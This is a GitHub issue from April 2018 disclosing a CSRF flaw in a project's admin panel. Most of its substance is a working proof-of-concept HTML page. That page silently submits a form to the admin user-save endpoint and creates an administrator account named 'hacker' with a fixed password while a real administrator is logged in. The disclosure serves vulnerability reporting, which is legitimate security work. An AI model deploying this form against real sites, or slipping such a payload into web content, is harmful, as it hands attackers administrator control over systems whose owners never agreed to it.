Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is one CSRF vulnerability that can add the administrator account #1

Open
NothingOnYouMoon opened this issue Apr 19, 2018 · 0 comments

Comments

@NothingOnYouMoon
Copy link

NothingOnYouMoon commented Apr 19, 2018

After the administrator logged in, open the following one page
one.html add a admin

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin/index.php/users/save" method="POST">
      <input type="hidden" name="userid" value="0" />
      <input type="hidden" name="username" value="hacker" />
      <input type="hidden" name="password" value="hacker123" />
      <input type="hidden" name="passwordconfirm" value="hacker123" />
      <input type="hidden" name="nickname" value="hacker" />
      <input type="hidden" name="save" value="?&#183;&#187;?&#138;&#160;?&#148;&#168;?&#136;&#183;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
@NothingOnYouMoon NothingOnYouMoon changed the title There is two CSRF vulnerability that can add the administrator account There is one CSRF vulnerability that can add the administrator account Apr 19, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant